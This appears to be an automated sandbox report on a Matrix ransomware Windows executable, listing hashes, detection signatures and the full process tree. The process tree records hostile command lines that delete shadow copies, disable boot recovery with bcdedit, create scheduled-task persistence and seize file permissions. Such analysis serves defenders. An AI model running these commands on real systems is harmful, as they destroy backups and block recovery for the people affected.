Overview

overview

10

Static

static

72c5665c43...f5.exe

windows7_x64

10

72c5665c43...f5.exe

windows10-2004_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    122s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    06-03-2022 04:47

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General

  • Target

    72c5665c4372dc234d6bc68d0b54987e38b294f0581170409be572dab14d8ff5.exe

  • Size

    2.6MB

  • MD5

    1f987de3da76b532d5eb4dc0a8e07edc

  • SHA1

    2002718bb7d81d6661892c6f2631df27eac89f61

  • SHA256

    72c5665c4372dc234d6bc68d0b54987e38b294f0581170409be572dab14d8ff5

  • SHA512

    7db16f026aee59ff24e30e7e4ce9a0c7a0d6575b5dc1e7907169fd0fe53a5576deb21e16e7a88d053fe6ea6cec035458539e180e4caac6b46f5e612ce4486310

Score
10/10
matrixdiscoveryevasionpersistenceransomwaresuricataupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://myexternalip.com/raw

Signatures

  • Matrix Ransomware 64 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity

    suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity

    suricata
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Modifies extensions of user files 1 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Sets service image path in registry 2 TTPs
    persistence
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\72c5665c4372dc234d6bc68d0b54987e38b294f0581170409be572dab14d8ff5.exe
    "C:\Users\Admin\AppData\Local\Temp\72c5665c4372dc234d6bc68d0b54987e38b294f0581170409be572dab14d8ff5.exe"
    1⤵
    • Matrix Ransomware
    • Modifies extensions of user files
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:4364
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\72c5665c4372dc234d6bc68d0b54987e38b294f0581170409be572dab14d8ff5.exe" "C:\Users\Admin\AppData\Local\Temp\NWPXunQj.exe"
      2⤵
        PID:3600
      • C:\Users\Admin\AppData\Local\Temp\NWPXunQj.exe
        "C:\Users\Admin\AppData\Local\Temp\NWPXunQj.exe" -n
        2⤵
        • Executes dropped EXE
        PID:3968
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\7nSNW2hR.txt"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5080
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5076
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\Ihgf3hzt.vbs"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2028
        • C:\Windows\SysWOW64\wscript.exe
          wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\Ihgf3hzt.vbs"
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:2968
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\uveJssXh.bat" /sc minute /mo 5 /RL HIGHEST /F
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3676
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\uveJssXh.bat" /sc minute /mo 5 /RL HIGHEST /F
              5⤵
              • Creates scheduled task(s)
              PID:1100
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4348
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Run /I /tn DSHCA
              5⤵
                PID:4436
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\l9RsEB57.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4832
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\l9RsEB57.bmp" /f
            3⤵
            • Sets desktop wallpaper using registry
            PID:5028
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
            3⤵
              PID:2516
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
              3⤵
                PID:4080
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\mZSyH3cn.bat" "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db""
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4420
              • C:\Windows\SysWOW64\attrib.exe
                attrib -R -A -S "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db"
                3⤵
                • Views/modifies file attributes
                PID:504
              • C:\Windows\SysWOW64\cacls.exe
                cacls "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db" /E /G Admin:F /C
                3⤵
                  PID:3784
                • C:\Windows\SysWOW64\takeown.exe
                  takeown /F "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db"
                  3⤵
                  • Modifies file permissions
                  PID:3600
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c IVxonbPa.exe -accepteula "qmgr.db" -nobanner
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3132
                  • C:\Users\Admin\AppData\Local\Temp\IVxonbPa.exe
                    IVxonbPa.exe -accepteula "qmgr.db" -nobanner
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:3772
                    • C:\Users\Admin\AppData\Local\Temp\IVxonbPa64.exe
                      IVxonbPa.exe -accepteula "qmgr.db" -nobanner
                      5⤵
                      • Drops file in Drivers directory
                      • Executes dropped EXE
                      • Enumerates connected drives
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious behavior: LoadsDriver
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3648
            • C:\Windows\SYSTEM32\cmd.exe
              C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\uveJssXh.bat"
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:2312
              • C:\Windows\system32\vssadmin.exe
                vssadmin Delete Shadows /All /Quiet
                2⤵
                • Interacts with shadow copies
                PID:4852
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic SHADOWCOPY DELETE
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2096
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Exec Unrestricted try {start-process -FilePath "vssadmin" -ArgumentList "delete","shadows","/all","/quiet" -WindowStyle Hidden} catch {}
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3596
                • C:\Windows\system32\vssadmin.exe
                  "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
                  3⤵
                  • Interacts with shadow copies
                  PID:4012
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} recoveryenabled No
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:504
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} bootstatuspolicy ignoreallfailures
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:3784
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN DSHCA /F
                2⤵
                  PID:3600
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:208

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • memory/3596-153-0x000002BE8D110000-0x000002BE8D112000-memory.dmp

                Filesize

                8KB

                Download

              • memory/3596-157-0x000002BE8D116000-0x000002BE8D118000-memory.dmp

                Filesize

                8KB

                Download

              • memory/3596-155-0x000002BE8FBE0000-0x000002BE8FC02000-memory.dmp

                Filesize

                136KB

                Download

              • memory/3596-154-0x000002BE8D113000-0x000002BE8D115000-memory.dmp

                Filesize

                8KB

                Download

              • memory/3596-152-0x000002BE8EE40000-0x000002BE8F901000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/5076-139-0x0000000005BD0000-0x0000000005C36000-memory.dmp

                Filesize

                408KB

                Download

              • memory/5076-137-0x0000000005950000-0x0000000005972000-memory.dmp

                Filesize

                136KB

                Download

              • memory/5076-136-0x0000000005290000-0x00000000058B8000-memory.dmp

                Filesize

                6.2MB

                Download

              • memory/5076-135-0x0000000004C12000-0x0000000004C13000-memory.dmp

                Filesize

                4KB

                Download

              • memory/5076-133-0x0000000073CD0000-0x0000000074480000-memory.dmp

                Filesize

                7.7MB

                Download

              • memory/5076-134-0x0000000004C10000-0x0000000004C11000-memory.dmp

                Filesize

                4KB

                Download

              • memory/5076-138-0x0000000005AF0000-0x0000000005B56000-memory.dmp

                Filesize

                408KB

                Download

              • memory/5076-141-0x0000000004C15000-0x0000000004C17000-memory.dmp

                Filesize

                8KB

                Download

              • memory/5076-140-0x0000000006260000-0x000000000627E000-memory.dmp

                Filesize

                120KB

                Download

              • memory/5076-143-0x0000000006760000-0x000000000677A000-memory.dmp

                Filesize

                104KB

                Download

              • memory/5076-132-0x0000000004C20000-0x0000000004C56000-memory.dmp

                Filesize

                216KB

                Download

              • memory/5076-142-0x0000000007AA0000-0x000000000811A000-memory.dmp

                Filesize

                6.5MB

                Download